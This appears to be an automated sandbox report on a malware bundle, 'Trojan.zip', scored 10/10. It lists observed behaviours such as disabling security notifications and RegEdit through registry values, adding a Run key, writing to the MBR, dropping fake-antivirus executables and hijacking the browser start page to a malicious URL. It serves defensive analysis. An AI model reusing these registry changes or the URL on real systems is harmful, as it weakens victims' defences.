Malware Analysis Report

2024-11-16 12:24

Sample ID 240316-sq9desff34
Target Trojan.zip
SHA256 6a3e1833f43f867e153935467c1a7c1f7f9c2c4b7b4c716a54f959989f091bf2
Tags
bootkit evasion persistence spyware stealer trojan upx ransomware discovery exploit
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral28

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral29

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral30

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral27

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral32

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral31

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6a3e1833f43f867e153935467c1a7c1f7f9c2c4b7b4c716a54f959989f091bf2

Threat Level: Known bad

The file Trojan.zip was found to be: Known bad.

Malicious Activity Summary

bootkit evasion persistence spyware stealer trojan upx ransomware discovery exploit

Windows security bypass

Drops file in Drivers directory

Possible privilege escalation attempt

Disables Task Manager via registry modification

Disables RegEdit via registry modification

Reads user/profile data of web browsers

Executes dropped EXE

Checks computer location settings

ACProtect 1.3x - 1.4x DLL software

Loads dropped DLL

UPX packed file

Modifies file permissions

Windows security modification

Enumerates connected drives

Modifies WinLogon

Adds Run key to start application

Modifies boot configuration data using bcdedit

Writes to the Master Boot Record (MBR)

Sets desktop wallpaper using registry

Drops file in Program Files directory

Drops file in Windows directory

Unsigned PE

Program crash

Enumerates physical storage devices

NSIS installer

Suspicious use of SendNotifyMessage

System policy modification

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Runs net.exe

Suspicious use of FindShellTrayWindow

Kills process with taskkill

Modifies Internet Explorer start page

Modifies registry class

Modifies Internet Explorer settings

Modifies data under HKEY_USERS

Suspicious behavior: GetForegroundWindowSpam

Views/modifies file attributes

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: CmdExeWriteProcessMemorySpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-16 15:21

Signatures

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral19

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:24

Platform

win7-20240221-en

Max time kernel

62s

Max time network

41s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

Signatures

Windows security bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" \??\c:\windows\antivirus-platinum.exe N/A

ACProtect 1.3x - 1.4x DLL software

Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
N/A N/A N/A N/A
N/A N/A C:\WINDOWS\302746537.exe N/A
N/A N/A \??\c:\windows\antivirus-platinum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\Antivirus = "\"C:\\Program Files (x86)\\AnVi\\avt.exe\" -noscan" C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\AnVi\splash.mp3 C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
File created C:\Program Files (x86)\AnVi\virus.mp3 C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\windows\antivirus-platinum.exe C:\Windows\SysWOW64\attrib.exe N/A
File created C:\Windows\__tmp_rar_sfx_access_check_259403017 C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A

Enumerates physical storage devices

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main \??\c:\windows\antivirus-platinum.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\Window Title = "YOUR PC MAY BE INFECTED WITH SPYWARE OR OTHER MALICIOUS ITEMS" \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\Use FormSuggest = "Yes" C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Modifies Internet Explorer start page

stealer
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Start Page = "http://secureservices2010.webs.com/scan" \??\c:\windows\antivirus-platinum.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan" \??\c:\windows\antivirus-platinum.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{6B7E6393-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04A-858B-11D1-B16A-00C0F0283628}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.SBarCtrl\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9ED94442-E5E8-101B-B9B5-444553540000}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E8D0-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83600-895E-11D0-B0A6-000000000000}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ImageComboCtl\CurVer\ = "MSComctlLib.ImageComboCtl.2" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6594-857C-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Toolbar.1\ = "Microsoft Toolbar Control, version 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5ACBB956-5C57-11CF-8993-00AA00688B10}\ = "ListView Sort Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E6E17E88-DF38-11CF-8E74-00A0C90F26F8}\ = "IStatusBar" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8AF-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE3E-8596-11D1-B16A-00C0F0283628}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.Slider.2 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE3E-8596-11D1-B16A-00C0F0283628}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{6027C2D4-FB28-11CD-8820-08002B2F4F5A}\ = "Slider Appearance Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E8B1-850A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BF877892-E026-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BF877892-E026-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.ListViewCtrl.1\CLSID\ = "{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E944-850A-101B-AFC0-4210102A8DA7}\ = "ITab10" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{F4D83601-895E-11D0-B0A6-000000000000}\ = "IListItems" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE3A-8596-11D1-B16A-00C0F0283628}\ = "Panel Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D96-9D6A-101B-AFC0-4210102A8DA7}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA50-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E8B1-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BF877894-E026-11CF-8E74-00A0C90F26F8}\ = "IColumnHeaders11" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E80-DF38-11CF-8E74-00A0C90F26F8}\ = "IImageList" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2334D2B1-713E-11CF-8AE5-00AA00C00905}\TypeLib\Version = "2.0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\Control C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E88-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{7791BA60-E020-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{373FF7F2-EB8B-11CD-8820-08002B2F4F5A}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE42-8596-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04C-858B-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E8C-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{612A8625-0FB3-11CE-8747-524153480004}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6B7E6391-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{7791BA52-E020-11CF-8E74-00A0C90F26F8}\ = "ITab" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A5-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\ProgID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE42-8596-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04A-858B-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\Implemented Categories\{40FC6ED4-2438-11CF-A3DB-080036F12502} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider\CLSID\ = "{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}" C:\Windows\SysWOW64\regsvr32.exe N/A
